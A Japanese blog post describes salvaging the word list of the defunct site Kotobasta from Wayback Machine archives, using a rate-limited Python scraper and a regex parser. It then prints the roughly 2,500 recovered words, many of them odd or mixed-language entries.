日記

日本語の勉強のためのブログ

コトバスタの単語をできる限りサルベージしたい

概要

コトバスタの概要についてはニコ百を参照。

dic.nicovideo.jp

目的

現時点で残っているコトバスタのアーカイブをすべて取得し、単語リストを作成する。
より具体的には、Wayback Machineからコトバスタの全アーカイブを取得し、スクレイピングによりタイトルを取得することで、単語リストを作成することを試みた。

スクレイピングにおける配慮

Wayback Machine利用規約にはスクレイピングを禁止する文言は明記されておらず、また複数のスクレイピングツールが公開されていることから、スクレイピングを行ってもよいと判断した。 もちろんサーバにかかる負荷を軽減するための対策も行った。

  • アクセスごとに10~20秒の待機時間を入れた
  • 公開されているAPIを使い、アクセスするページの数をできる限り絞ってからスクレイピングを行った
  • エラー時にそれまでの結果を保存した(これでエラー時もそこから再開することができ、余計なアクセスを防ぐことができる)

手法

アーカイブURLリストの取得

まずWayback CDX Server APIhttps://github.com/internetarchive/wayback/tree/master/wayback-cdx-server#filtering)を用いて、Wayback Machineに保存されているkotobasta.com*の全ページの情報を取得した。
その際、html以外のファイルもヒットしてしまうので、クエリを追加してフィルタリングを行った。実際に用いたURLを以下に示す。

https://web.archive.org/cdx/search/cdx?url=kotobasta.com*&output=json&filter=mimetype:text/html&filter=statuscode:200&collapse=urlkey&fl=timestamp,original

このURLにアクセスして、アーカイブのURLリスト(全2592件)を取得した。ファイル名はarchive.jsonとした。

スクレイピングでタイトル取得

今取得したすべてのURLにアクセスし、タイトルを取得する。APIは探しても見つからなかったため、やむを得ずスクレイピングを行うことにした。 使用したコードを以下に示す。

import json
import requests
from tqdm import tqdm
from time import sleep
from random import randint
from bs4 import BeautifulSoup


def main():
    # get url list
    with open("archive.json") as f:
        json_contents = json.load(f)
    json_contents = json_contents[1:]  # ignore field colomn
    urls: list[str] = [
        f"https://web.archive.org/web/{record[0]}/{record[1]}"
        for record in json_contents
    ]

    # get title for urls
    result: list[list[str]] = [["URL", "Title"]]
    try:
        for url in tqdm(urls):
            req = requests.get(url)
            soup = BeautifulSoup(req.text, "html.parser")
            title: str = soup.find("title").get_text()
            result.append([url, title])
            sleep(randint(15, 25))
    except:
        print("error occured! terminated.")
        print(f"for debug: {url=}, {title=}")

    with open("output.json", "w", encoding="utf-8") as f:
        json.dump(result, f, ensure_ascii=False, indent=4)


if __name__ == "__main__":
    main()

これを実行した結果、15時間ほどで処理が終わり、2592件のタイトルを得ることができた。

$ python3 scraper.py
100%|█████████████████████████████████████████████████████████████████████████████████████████| 2592/2592 [15:27:31<00:00, 21.47s/it]
$ ls
archive.json  output.json  scraper.py

結果から単語のみをパース

次のコードを用いて、「」に囲まれた部分(つまり単語)のみを取得した。改行コード\nやバックスペース\bが含まれる単語が存在した*1ため、それらには適切にエスケープを施した。

import re
import json


def parse():
    # get url list
    with open("output.json") as f:
        json_contents = json.load(f)
    json_contents = json_contents[1:]  # ignore field colomn
    pattern: str = r"「(.*?)」"
    titles: list[str] = [
        re.findall(pattern, record[1], re.DOTALL)[0]
        for record in json_contents
        if re.match(pattern, record[1], re.DOTALL) != None
    ]
    print(titles)

    with open("titles.txt", "w", encoding="utf-8") as f:
        f.write(",".join(titles).replace("\n", "\\n").replace("\b", "\\b"))


if __name__ == "__main__":
    parse()

最終的に得られた結果を以下に示す。

得られた単語リスト

全2564件。カンマ区切りで表記している。

実害,疲れ切る,不敵な,淡々とした,悠然と,大狂乱,頂点に,大爆発,地址,先知,混空,止むを得ない,怒りを通り越す,ジャッジ,結び付く,面差し,顕れる,直結,知達,歳末,真珠貝,掌中,深夜放送,恃む,貞本と,晩ご飯,忌適,寮,黒ずむ,过程,技を磨く,脇腹,聞き飽きる,よどみない,達成しない,正確でない,努力しない,容易な,成功しない,制約がある,金持ちな,貧乏な,充実していない,興味がない,ガクン,受け入れる能力\n邪魔,態度や行動の仕方\n遺憾,敬意を払い,尊敬すること\n希望,徐々に浸み込み,広がること\n現象,他と異なり,協力し合い,調和を図ること\n緊張,和睦すること\n倦怠,巣食う,しばし,やたらと,試験管,旧知,未達成,読み物,見間違い,本と同じ,問題行動,お近づき,言い勝手,間違いなし,肩幅広い,顔文字,丸くなる,願いごと,キター!,わし,帰る所,困ったもんだ,大よそ,しっぺ返し,してみる,友達の友達,水着,かな,走り出す,いかなる,お構いなく,お日様,いくばく,画期,一人ひとり,一世を風靡する,一射必中,一炊の夢,一朝一夕,冒涜,一層の努力,引き入れる,一念,引き寄せ力,以上ですが,石けん,イシュタル,いじり,イデア,衣肥じゃれ,いちゃつく,一円玉,一夕,いぬ(犬),いかり,高温,感じに対して,腰を引く,非常に大切,真誠,静気,冷静な対応,冷静さを保つ,冷静になる,穏やかな心,公平な判断,栄養ドリンク,おれ,禅定,にやけ顔,生ける伝説,ガンジャ,符牒,米の粒,おおいに,たしかに,命薄い,御利用,見違える,昼目,龍宮,林立,後先考えない,終り無き,片恋,呈示,夫婦円満,降着,小康,高額,白昼,進水,迷案,登楼,珈琲,一地方,ひっくり返す,続投,仕手立て,こなれる,出資,消連,落ちつく,決まって,親疎,キリ,異母兄弟,猛ダッシュ,笑笑,複雑な思い,公平感,自己憐憫,話し好き,やり切れない,物思いに浸る,穿った見方をする,攀じ登る,焚きつける,屮ー),迚も,難なく,株式化,良い加減,かすみ草,沽券,特攻,自肩書き,穂が出る,気前良い,,鈍感,匪躁,解難,片寄,摩天,心躍,仲良,無辺,的外,悔返,謙受,礼遇,可否,続篇,絹織,途絶,为政,を含定義する,を期待する,を乗り越える,を計測する,を解除する,が想定される,への信頼,がランク付け,に充当する,を制御する,を創造する,の要-365,を疑わしいと思う,を過ちを犯す,を根絶する,を追加する,を優れた物にする,を諦める,をさ引く,を築く,の教義,を絞る,を配分する,を増す,を旅行する,憂鬱症,店員,依怙地,読書家,精神薄弱,感じのいい人,馬鹿げてる,名馬,お久しぶり,すすいで,いとうお,付着,住み,良し,どっちか,そんなことない,青,黄,白,急,暗誦する,低価,暗痺,偕老,惟一無二,偉容,遠因,異星人,絹のような,他山の石,並大抵ではない,大盤振る舞い,個性豊か,詰まりやすい,推古天皇,外れ気味,炭鉱夫,貯める,请望,诗人,林間学校,後半,仲,飛ばし,端々,统一,怩憚,墮落,寂待,息を殺す,春情,意味\n侘び寂び,満ち足りた感じ\n薄情,先祖から続く子孫\n恍惚,赤色の蓮の花\n清廉潔白,別れること\n楽天家,心に余裕を持ち,片足立ち,隠して,下積み,縮んでる,名作品,お手並み拝見,不相応,トリビアル,囲碁将棋,連立方程式,閣下,ガッツポーズ,声に出す,綜合病院,探索的,情況判断,調整標的,特徴付ける,下位概念,公報,簡便,転移,独身貴族,払く,唐宮,もく,もつしょう,楽事,唯素肌,いれずみ,形ばかり,天道,越権行使,台下,あらさる,恐告,扮する,高感,増,くれより,寄兜,ひもじい,歌い継ぐ,扇の鉄砲,覗ける,ぽっくりと,構いません,もたれかかる,飲み干す,物干し,鉄条網,腕立て伏せ,噛み付く,いとこの,だめ,封,雑木,被,発起,祿,現われる,ウーロンハイ,最期,学長,流る,シンクロ,リフォーム,就職活動,惨朗なる,きやがる,含血,収容所,私の,芸能人,魔導,打付ける,援軍,浮いた話,気を確かにする,審査員,雨の日,言い間違え,区画整理,目をこらす,極秘裏に,仕事先行き,ツンツン,アナウンサー,乗り場,いえいえ,腹ごしらえ,民俗学,修行中,せりふ,混じり気のない,一大ブーム,大嘘,凸面鏡,毛虫,連震,疾驚,愉,劣っている,汚れた,不正義,真中,束縛されている,真菜,現実を直視する,快楽主義,この子,よう\n躊躇+目当て,限りなく\n無縁+結ぶ,派\nすくむ+よる,打点,反り返る\n著しい+不振,下駄\n透明+ガラス,観念\n革命+政治,希求\n施行+必要,領域\n共感+無力,教育費,顔面面白さ,情報発信,ビジネススキル,副次的,自信心,勤怠,選び,アイデアソン,業績向上,待った,重要だった,学校行った,病院行った,家にいた,友達会った,映画見た,本読んだ,音楽聞いた,手紙書いた,写真撮った,悪妻,独裁的な支配\n差異,違いや相違\n謙遜,謙虚で控えめ\n背信,信頼を裏切ること\n懸念,心配や危惧\n同情,ためらいや迷い\n纏まる,まとまる\n合致,一致や適合\n偶然,予想外の偶然\n肝要,夢中になること\n固まる,誘惑すること\n即興,料理のメニュー\n不義理,恩を忘れること\n無実,身振りや言動\n打算,利益や計算\n閲覧,真っ黒な色や闇\n翻意,考えを変えること\n対立,対立や反対\n身体能力,飢えや栄養不足\n密集,密に詰まること\n風潮,くじけること\n視覚,言わずもがな\n劣悪,仕返しや報復\n便宜,都合や便所\n思わしい,思っていた通り\n見逃す,見落とすこと\n秘める,隠すこと\n磁石,磁力を持つ物質\n追放,追い出すこと\n連鎖,つながりや連鎖\n不安定,ドキュメンタリー番組,スポーツ番組,映画俳優,歌手グループ,小説家,ライブ,ワールドツアー,話題作,芸術祭,文学賞,辛くて,気付いた,思い出させる,嬉しかった,楽しみにして,悩んだ,驚きました,頑張ろう,安く,苦労した,気付きました,驚いて,怖くて,思い出せる,嫌だ,苦しい思い,不満が,辛かったです,優しいです,感動しました,主節,黄道,目を盗む,爪楊枝,恒古,犇犇と,慍り,瀰漫,嫡系,铄々,良質な,申し分がない,欠点がない,完璧である,優秀である,巧みである,見事である,魅力的である,美しさがある,麗しさがある,美麗である,魅力ある,素敵である,魅力を持つ,魅惑的である,魅惑する,魅惑的な,年をとる,聞きわける,友達とのデート,音楽の歴史,イタリア料理のレシピ,映画の評価,留学の手続き,ファッションスタイル,家庭の予算編成,ビジネススキルの向上,ダイエット食品,ブランディング戦略,化粧品の使い方,知らず知らず,冗談めかす,断固たる決意,頭おかしい,おせっかい焼き,よそ見,慌てん坊,借りてきた,肌が合う,おちゃめ,真の意味で,さじを投げる,気の置けない,残った,麒麟児,とんち鬼,引っ込みがつかない,笑いもの,厳然たる,心待ちに,顕彰(けんしょう),派遣\n悲壮,内輪(ないりん),遺憾(いかん)\n陳列,供述\n特許,詠嘆(えいたん),護岸(ごがん),筆者\n類似(るいじ),精緻(せいち)\n自在,紛争\n勘定,サクラ,踏り切る,切れ味,美特,方目線,専制君主,心続ける,覆い,頸椎,雀荘,検察,考え過ぎる,絶望感じ,あきれ,感情論,爽快感を感じる,熱中すること,監視すること,興亡の,悲愴感じ,さびしいこと,意義を感じる,不安感じる,心地よさを感じること,喜劇感,凡庸な,安堵感を感じる,愛護,愛せる,意味\n無知,悪賢くて狡いこと\n忖度,改位,気多,緊事,強食,主君,和山,畐境,素因数分解,為らない,胃薬,最初から,性育児,一爪,罵り合い,口唇,数名,法実施,土俵際,まぐれ,刑法,田所,国努,煙草,能力者,超重力,経始,再検査,差し出がましい,書かれる,お香,御湯,乱れ咲き,湖水地帯,対処療法,見盗られる,カスタム,さぐる,食いつく,一往復,一勝一敗,生け贄,甘やかされる,宴会芸,早くも,ドーン,目茶,逆神,はらこ,食べ過ぎ,二宮金次郎,評析,确信,言わ,気を使わ,さり気なく,我らが,兵舎,ホームページ,协会,请问,转让,追体験,바람직,양자,천재,암호,출석,長編,粘土,これにより,頃澄,です,自主練,湯の町,わかって,イノセント,八百長,年下の人,命知らず,出尽くし,個性を出す,不法滞在,万自庵,蒼々たる,破裂音,力を込める,談論,落ち着いた雰囲気,三方一両損,好評価,ご覧に入れる,肆意な,喉元に手がかかる,呼び名,長々,美しいと思う,出直し,城一郎,水巻き,物まね,直率,まさしく,擦り合わせ,恳,草食,番地,好養,大がかり,意料,来襲,まつわる,ワイドショー,融通が効く,政権交代,のびのび,合わない,自重しろ,懐自治,つつしむ,崖っ縁,ひざまずく,逆誕生,要注目,看過する,許し難い,生活圏,意向する,快復する,風回し,労働的,多密,画然,相互方法,内助,一日を通じて,仕込む,愉快痛快,清々しさ,気分爽快,ゾクゾクする,呪わしい,悲願,チェイニング,正当防衛,ムリヤリ,首葉,抜かりない,気心知れた,鏡前,御礼申し上げる,正面切って,成績優秀,知識豊か,開発途上,埋る,抜去,進塁,中抜け,嬉々と,幵,和する,落人,面響,腹づもり,追われる,色々と,愉快痛い,ばかすかしい,未来への予感,まったく,うそっぽい,cタイム,仲々,たいそう,恩徳,傷を負う,分春事,古来稀,無垢貧,ビジー,続けさせる,禁野,くっつく,公園のベンチ,バベル塔のような,姿勢が崩れる,栄養満点,ビートルズ,眠たそうな,向けられる,鬼のいびき,水位,龍馬,濡らす,専業医,觋築,転志,歅々する,律,座右の名,眞理,養護,言い換えられる,三文オペラ,しんじられる,かもい,だるまさん,だんす,どらえもん,きょだい,うすい,うかがい,おいしそう,たのしい,ふれる,まるい,こっかい,つまみ,じょうほう,たあいふ,とは,はやす,ほうれんそう,がれき,騰がる,悔迂,日輪,聞きわけ,悶々と,抉じ開ける,競り勝つ,夏目漱石,抾,誼,温もり(ぬくもり),舞い踊る(まいおどる),畏敬(いけい),密会(みっかい),神秘(しんぴ),萌える(もえる),独白(どくはく),隠す(かくす),居場所(いばしょ),囁く(ささやく),享受(きょうじゅ),気絶(きぜつ),啓示(けいじ),引力(いんりょく),呪い(のろい),価値観(かちかん),鎮魂歌(ちんこんか),奇妙(きみょう),舌打ち(したうち),栄光(えいこう),迷宮(めいきゅう),断腸(だんちょう),愉快(ゆかい),幸運(こううん),透明(とうめい),脳髄(のうずい),巡り合う(めぐりあう),軽蔑(けいべつ),喪失(そうしつ),爛れる(ただれる),省みる(かえりみる),揺さぶる(ゆさぶる),激動(げきどう),瞑る(つぶる),羨望(せんぼう),飽きる(あきる),抑制(よくせい),虜(とりこ),憂い(うれい),隔離(かくり),眩しい(まぶしい),欺瞞(ぎまん),混乱(こんらん),破綻(はたん),鎮静剤(ちんせいざい),優雅(ゆうが),駆逐(くちく),凄惨(せいさん),奇跡(きせき),日陰(ひかげ),穏やか(おだやか),饒舌(じょうぜつ),所在(しょざい),哄笑(こうしょう),飛び散る(とびちる),潔白(けっぱく),光景(こうけい),飛沫(ひまつ),倦怠感(けんたいかん),一瞥(いちべつ),幻滅(げんめつ),束縛(そくばく),無力感(むりょくかん),昏い(くらい),愁い(うれい),孤高(ここう),伽羅(きゃら),病的(びょうてき),呵責(かせき),考察(こうさつ),幸せ(しあわせ),凡庸(ぼんよう),失くす(なくす),無常(むじょう),深まる(ふかまる),喪心(そうしん),刹那(せつな),独自(どくじ),佇む(たたずむ),悪寒(おかん),蒼白(そうはく),挫折(ざせつ),深淵(しんえん),献身(けんしん),解釈(かいしゃく),晴れ渡る(はれわたる),意地(いじ),窟(いわや),蟲毒(ちゅうどく),興奮(こうふん),匂い立つ(においたつ),閉鎖(へいさ),沈殿(ちんでん),刻む(きざむ),翳り(かげり),恍惚(こうこつ),呆れる(あきれる),舘(やかた),補佐(ほさ),陰口(かげぐち),吹き飛ぶ(ふきとぶ),束(たば),摂動(せつどう),凪(なぎ),深い(ふかい),漂い(ただよい),痕(あと),真実(しんじつ),燃える(もえる),明滅(めいめつ),強制(きょうせい),喚く(わめく),風味(ふうみ),煮詰まる(につまる),感傷(かんしょう),残虐(ざんぎゃく),濡れる(ぬれる),凄絶(せいぜつ),慈悲(じひ),奇天烈(きてんれつ),恩寵(おんちょう),いざ,姿容,被考慮,衆寡敵せず,終済,焼付ける,行員,問える,高次脳機能,訑言,切り上げる,力み,尊気,頓着せず,従える,書き入れる,奇しくも,抗距離恐怖症,直罪,認識範疇,言いふらす,どうゆう意味,上訴,知らない方が幸せ,諳んじる,休売中,労っております,照應,構ってください,歩出す,使い物,延伸,読み上げる,没去,思った以上に,義援金,西暦,長い付き合い,飛行場,存ずる,長けた,早寝,誤送信,層,缺陷,),無為に,狙い放題,媚びない,便利屋,言い付ける,ずれる,お気軽に,ガミガミ,すっぱり,いかんせん,半透明,幸み,いきあたりばったり,腹を括る,叱られる,お取り込み,なんなく,遠慮無く,丁寧,教えていただく,しつこく,ずしりと,戦争犯罪,差別撤廃,国際連合,領海,多言語,経済連携,国外,水質,国立公園,人身売買,法務,刑事司法,国際人権宣言,疑罪,殺人事件,事件簿,事件簿法,身柄拘束,厳罰化,法曹,請求権,不法行為,証書,失業保険,国際機関,国連憲章,政治思想,唯一無二,議会制民主主義,独裁主義,加盟国,ファシズム,ナショナリズム,マルチラテラリズム,マルクス主義,司法手続,刑事訴訟,法体系,法哲学,民法,電子工学,コンピュータサイエンス,通信技術,生物工学,環境科学,宇宙工学,化学工学,土木工学,航空工学,自動車工学,製造工学,エネルギー技術,船舶工学,船舶,医療法,就業,雇用者,雇用契約,労働条件,歩合制,パートタイム,個人事業主,情報業,金融業,建設業,経済指標,中等教育,カリキュラム,文化財,古代遺跡,パラリンピック,スポーツマンシップ,作物,エネルギー政策,歴,移り変わり,吞み込む,農作,静聴,爆裂,張本物,うらのれ,弾力的,発寒,心落ち,心ひそむ,ルーピング,明発,鞭打,绝望,念慮,恋情,虚薄,暴動,苦悔,没我,度肝,リコメンド,日本一,想念,善い,悲しいです,可愛いです,うれしいです,喜びます,独壇場,荒れぎみ,市街地,評する,欠如感,忍者忍法,嫌悔,遊撃戦,奢求,絶叫する,触発される,故郷的,堕落感,底なし,期望する,破綻する,緊密感,憂慮する,陶酔する,取り押さえる,異質感,深淵さ,生物学的,目の前が真っ白になる,沈黙が漂う,心が羽ばたく,大いに活躍する,知識が身につく,投げやりになる,たくましい,グイグイ,確信が持てる,才能が開花する,震えるような,しっとりとした,見識が深まる,上辺だけ,失敗作,ラフに,好印象を抱く,進取の気風,つかみどころのない,いたずらっぽい,グッと,いたって,利き手,物分かり,素直な,物事がうまく進む,話題に事欠かない,永久不変,和やかさ,はっとさせられる,キビキビ,元気をもらう,ウィットに富む,グルーヴィー,物凄まじい,本気を出す,爽やかさ,すぐれもの,品がある,磨きがかかる,誇れ,アクティブ,プラス思考,一緒にいると楽しい,ノリがいい,大掛かり,ひととおり,活力溢れる,取り替え,深入,謹む,近距離,空中散歩,音詠み,顕現する,引き裂かれる,鎮座する,紂縮,良い意味での混沌,重病,暖色系,叙事,分け隔たり,喜び劇,豊かな表現,調節する,イケイケ,一緒くた,強烈な印象,髪の毛が立つ,一筋縄では行かない,内部化,好酒家,教医,求刑,名分,悲嘆感,貶し,澄みきる,懐刀,不可視,言下,近未来,引掻く,容喙,俊才,未見習い,甲乙付け難い,終末思想,鈍くさい,平等主義,試験期間,顧客第一,重要指名手配,情報操作,客観視,案内状,会心の笑み,幸望,途中下車,瞬間移動,脅迫状,直野,もたれる,ないこともない,感染性,思ってる通り,不得要領,三角錐,不追,秘密意識,山ほど,気構え,言語不要,練り直す,固く決める,嫉み,混乱させる,意気地無し,一線を画する,戦闘意欲,むかむか,えらそう,不明快,救済感,惘然,手に余る,あさはか,言い難い,色々感じる,平板,ぺこぺこ,おっきい,人間嫌い,凌ぎ通す,鼻をあかす,フラフラ,悲ばむ,瑜伽,すみずみ,あつあつ,心ときめく,かえりみる,眠そう,ヤキモキ,おっしゃらせ,心削る,合鍵,志望動機,保護色,閱読,怔絶,鵜呑みにする,率先垂範,労を惜しむ,神託,琜察,御休み,一至,唯一つ,先鋭的,山高草青,真っ向勝負,心の強さ,非ビジネス,空み,トークン,一盲,一億総活躍,一日千秋,一日一生,一日中続く,あぐらをかく,元気よく,情難,享ける,理外,仰有る,愛している,磔,不貞腐る,レプリカ,眠眠打破,おおっと,御祝い,常識外,ないて,あがり,そぞろ,名残り惜しむ,まつわり,遊び倒す,せきたてる,艶照り,もちもち,じめじめ,仕立てる,わき上がる,見詰める,心に寄りそう,達せる,しこり,なごみ,…,奉走,薄雲,List,先行く,美味しそう,生い茂る,釣り鐘,殺る,舞,動かない,風呂,暖か/咳,苦し,叩かれる,みる,臭う,忘られる,結婚される,作られる,聞かれる,臭われる,味われる,触られる,考えられる,生かされる,死に追われる,話される,作らせる,取消す,読ませる,訪ねる,貼る,剥く,バルコニー,べらべら,ツーリスト,リップサービス,ウェディングドレス,ギョロ目,ショートケーキ,ハンズフリー,捜し求める,気を良くする,口ピュッ,気がめいる,減塩,証券口座,相場が荒れる,果明り,一晩中,背中が痛い,辞書にはない,遊斬り,摂食障害,義理固い,仕組む,配給,勘案する,練磨する,復習する,振り試し,品薄,語り口,中身空っぽ,行先を決める,逃げる事ができない,懲りず,自重しない,野球観戦,ロリータ,恩を仇で返す,詫び石,上下左右,全ポジション,エンゲル係数,風邪薬,ひょっとして,回収する,声を草,骨髄移植,戦意,衛生保健所,大腸内視鏡検査,危険思想,日帰り,傘もささずに,身体感覚,生みの苦しみ,直感する,ストライキ,放官,書式,せいじ,地に落ちた果実,言葉の綾,悪化の一途を辿る,鞭を持つ,やり玉に挙げる,目の仇にする,お前を脅かす,理知的,自省深い,強訴,虚ろな目,のさばる,たわいもない,爪切り,カミソリ,シェーバー,ヘアピン,ヘアバンド,壹,汽笛,引き籠もり,一概,桑港,伺字,風怪,線上,逆衝,助政,铃森,新試,国労,偵徹,毀矢,炭疸,仁志,變程,變成,监督,胡轍,均盛,乱尺,盛菜,天紅,庫山,關朝,臓盧,深柄,深煙,警觉,伱顾,结婚,屈原,自動分社,思索する,肯定形,継承性,状況問題,目的論,情報理論,付加的,接尾語,電子的,連打,基準点,捻じれ,誓願,いじくる,釜茹で,通例,重火器,散貨,老眼,押印,激走,炙烙,浚渫,観覧,実測,払暇,蔵書,复活,いっかくじょう,時報,振替,白事,呑気な,大差ない,虫唾が走る,つじつま,仰しく,断りにくい,心の平穏,鵜呑みに,どったり,ぞんぶん,多心,はっと,良い人,軽軽しい,度を越す,入社,貨物,南,北,聞こえがいい,介添え,親しみを感じる,キリッと,むさく,つかまる,よとうけ,ひどい思い,肥大肥心,きゃしゃ,目ヂカラ,その位,無害化,有害化,走閲,おでん,一服,衝力,偽り無い,葡萄酒,月下美人,茨城県,鉢植え,測量,篠沢,炊き込みご飯,吉野家,ファミマ,都バス,那須温泉,近鉄,多摩川,ついほっぺが,んもない,ほどける,飼い犬,ハンパ,散りばめる,重唱,こぶし,ぎくしゃくする,正支度,鸡蛋,意义,清汤,餐饮,拯救,凤梨,完好,描述,发育,传染,专场,发光,当心,优美,宠物,购买,细菌,钦佩,马匹,弦乐,心肌,号码,焦虑,翻阅,经典,聚会,王将月見汁,上越ホタテ,大和芋,大和高野,火祭必殺じげもん,音羽屋,餌取川,香田ぽんじり,大洞村梅ノ木,姫新緑,堂に参る,伊達軍鶏,懐かしい夜,近江の森の尾根,八尾のにんじん,林檎と葡萄,関山水,高根岳,高島屋,高野本宮大路,多崎つくし,手鞠と去勢と丁髷,浅草見物,泥の上でも抗わず,心の泉を湧かす,寿管,法の神秘,ダジャレ,指名手配犯,流し猫,あな歩,報じられる,常計の言葉を操る,憂歌帳,発したもので頷く,のろく,乾坤一体,恐怖の元凶,らくがき帳,光武の北野,海を渡る船,方世玉,ならぬ世話,悠久パレード館,心に守る,編み物屋,山木屋,海なり山なり,瑛太状態,革命論者,柿見る坂,てなこもり,鬼太郎の依頼を受ける,一点弦月,長いものに巻かれる,あさい知識,寄稿する,ぽつんと,青耳,たましい,まことしやか,あって困る,女傑,譁眞,芳しき,たっぷりと,臨界点,ちゅうぶらりん,すくむ,緋聞,盒子,立つ瀬がない,チャンバラ,面目無い,正面から,じっくりと,うさぎ追い,じぇじぇじぇ,痢状便,手数を減らす,言葉の意味:諦める,図体,適応障害,常勤,酢味,にがさ,呑み口,追加した単語: 傷,追加した単語: 平等,超音速,追加した単語: 出席,迷っ,追加した単語: 英雄,下書き,いら,追加した単語: 介護,咸臨,逸見,心敬服,甼,観覧車,郵便配達,タバコ,ハンバーグ,自由時間,送料無料,音量,内部要因,低確率,非特例,確定的,収束的,無意識的,匯聚,作業灯,跡切れ,赤外線,影像,空軌道,円環,流行らない,旧式,晩飯,プール,抱っこ,あーあ,自閉的,靴脱いでください,傷んでる,カップ麺,配する,等々,忌まれる,心懸ける,便宜を図る,院内感染,陰口を叩く,往生際が悪い,腕に覚えあり,淸濁併せ飲む,小っちゃい,自ら進んで,径,手ぬぐい,弱り目に祟り目,○○キャラ,灯台もと暗し,刺激が薄い,対面恐怖症,素な,目が悪い,出まかせ,建材,植物園,パーク,発電所,宇宙旅行,夏季,秋季,折,感服する,大充実感,頭の中が混乱,大感謝,分かり合い,属国化,幻惑的,安全感,満脚感,凄さ,碧眼,開店休業,花鳥風月,後朝,景況,諧謔,竹炭,暗騒動,元締め,状況訳,鑑戒,態度転換,形成力,青標立,形体,なおざりにする,受け身のまま,しめっぽい,キラキラする,直射日光,こそばゆい,敵に取られること\n継続,落ち着かせること\n昇降,認めること,了解すること\n見解,浮気をすること,意見や提案を断ること,認めないこと\n愉快,落ち着かせること\n麻痺,一つずつ,正当な理由や証拠\n稍微,破壊すること,破損させること\n拡大,役に立つこと,寄与すること\n維持,元の状態を保つ,気儘,放水路,執する,裂け口,任期,佯狙,苔の舞台,鍛え上げる,衆生,泳がす,磨ぎ渡す,参事官,面観,燃え滾る,接写,心孤独,匠の技,添い遂げる,礙しい,和敬清寂,幾千,門下生,春日部,折り具合,有明,縛め首,癖物,突板,刀身,霊幻道士,宝刀,逆口径,気持ちい,1000円,初音ミク,エヴァンゲリオン,公一,存命,園田直子,外せず,戸松書店,馬場研,善導,石さを,俊介,エスペリア,広翔,三上市,垣谷,丹波市,速湖,売れ筋,永田光代,宮木綿,県道,後藤共和国,タダ,敷牧場,福井山,井才之,ま,献身精神,運命の人,情脈,葬列,演壇,感湿,菓子,后妃,心愛,緩解,感芽,悟理,胡散,摩訶,折り重なり,思召し,時間稼ぎ,全蔵,生化,告げられ,expulsion,sensational,revival,reduction,mix,charge,myth,teaching,capture,winding,stroke,birth,sewage,daydreaming,renovation,sinking,escalation,ward,reunion,加速化,取引関係,チャームポイント,待ち時間,便座,戦恐,なさる,にんもく,あいなる,我ら,むける,つづく,おいつく,のがれる,かなぐり捨てる,はくしゅ,おせち,けけ,おちび,文部,何事,手俣,ちゃん,聞き返す,傷め付ける,出参,殿,ノイローゼ,しん,全消滅,ねん,委ね,おおどり,めでたす,やみ,乱気,やわなげ,すくすく,黒人,ラビット,受け入,晴れ間,謹み,嬉の字,形成する,乾杯する,行儀よく,自己表現する,革新する,糊塗する,ほめる,するつもり,創意工夫する,写す,わき起こる,滑稽に思う,誠意を見せる,ほのかに,らくだ踏みする,担当する,まごころ込める,聴き入る,するはず,感想する,そびえる,息をつかせぬ,心が最後まで,疑いを持つ,困難させる,欲しがる,生涯の,つぼをつく,並んで,活用する,応募する,共にする,戦わせる,豪快な,不安に思う,ほど良い,再確認する,奇妙させる,独立する,ささえる,招請する,まわりくどい,一日に,黄金の,開始する,気が進む,聞かす,神秘的な,新緑,喜びの舞台,有能力,県庁所在地,院生,疲れ知らず,感謝の気持ちを持たせる,へこむ,御一行様,聞き込み,湯気,駥,借り手,返戻,木洩れ日,枯れ尾花,老婆,臨戦態勢,破茶目,夜伽,灰白色,投槍,告別,可明,re,大図書館,ミニマム,験担ぎ,血祭り,論の架橋,機に乗じる,生足,かなり助かる,遠く離れて,素面,出目,摐々,地元民,焼尽される,米人,秋霜烈日,寵遇,諸悪の根源,帖,脱初心者,艦船,言わしめる,一分,傷物語,吾輩は猫である,監視監督,聖地巡礼,人聞きが悪い,気味が悪い,合宿免許,卵巣,有情,連携プレー,幼なじみ,変貌する,ショック療法,神祇,御猫,穫得,腹の底,顧忌,荘重,心憂い,恠患,蠍毒,球技,高揚気,千篇一律,忙しない,繁栄\n決断,声援\n刺激,真実\n奉仕,精選,あらく,のべつ幕なし,カイジ,追い込み,鬼滅,ツムツム,ウィンカー,合理的\n\n以上,脱藩,忠道,村童,湯ノ丸,例題,がく然,お約束ネタ,地を這う,人を評価する,困った者,ばしばし,ゴディバ,ようするに,あたためる,融通が利かない,あたり一面,力の入れ所,眉を踏む,アンバランス,傍から見れば,心留め,気脈,おなじみ,楽見,封印する,難詰,一切れのパン,仁術,缓解,目瞪举鳞,极限,來世,石头,火焰,封锁,燃烧,烦闷,戦死,茶っけ,懼い,影寵,星の瞬き,讚嘆,精字,歩いていく,さざなみ,丹後ちりめん,疵,おまちどおさま,てんやわんや,穴場,鄙,蓄,靡,棗,電子誌,鳥のよう,素餌,憎々しい,財務状況,滞らせる,おお,医療ミス,遅れてしまった,根気強さ,根気良く,しくじる,息づかい,ぴりりとする,音動かし,補完的,端午の節句,煌く,屘々,満身に,背仰ぐ,苦虫を噛み殺す,申し訳程度,上皇,口固い,社会学者,電界,気にとめない,血族,言い掛かり,閉眼,掳奪,立ち枯れ,平謝り,人に大切にされる,名の知れた,微差で,盛り合わせ,心訴える,本心を表す,おしゃべりする,直訳する,大会社,危うく,手玉に取る,司法試験,違法ドラッグ,振り向けば,額に汗をかく,修行する,鳥の目をする,戦後復興,返事がない,玄とする,水掛け論,筆致,啓発する,辞世,報国,鈎痕愛撫,発明する,暗中模索,女脂,面白白い,丘陵,透明化,疎かに,定着する,再考,寂寥感,垢抜ける,図星,ターニングポイント,闇,あわあわ,ノンジャンル,逆説,呟く,伺う,属人化,統計学,仮説,プロトコル,フレキシビリティ,アルゴリズム,シミュレーション,行う,夜更け,一目惚れ,独特な感性,後で,夕日,後者,令和時代,苦手意識,惨敗,宿敵,触手,今,肝に銘じる,尊師,苗字,一途な信念,油断大敵,目を皿にする,知的財産,痛み分け,雑感,リモート投票,議決権,紛争解決,取締役,気候変動,環境破壊,核兵器,ベンガル湾油田,英国EU離脱,満たされた,まあまあ,self-esteem,並び,間合い,針,粉々,無断,朝気,港湾,整然,harmony,私物化,沈澱,強いて言うなら,シャア,資料,成る,拍手喝采,堆積,言語道断,石狩,エンタープライズ,疎かにする,ノベル,不貞腐れる,破廉恥,総天然色,創り出す,女子会,力学,harmony\n状況,タチ,鈴なり,入邸,売名,困ったものだ,滲み出る,線,のけぞる,筋道を立てる,お写真,口座,年輪,上記,国際文化交流,櫓,立ち寄り,植樹祭,意趣返し,波動,枕詞,目も当てられない,敬酒,旅人気分,回りくどい,興味津,幾つか,繫栄,销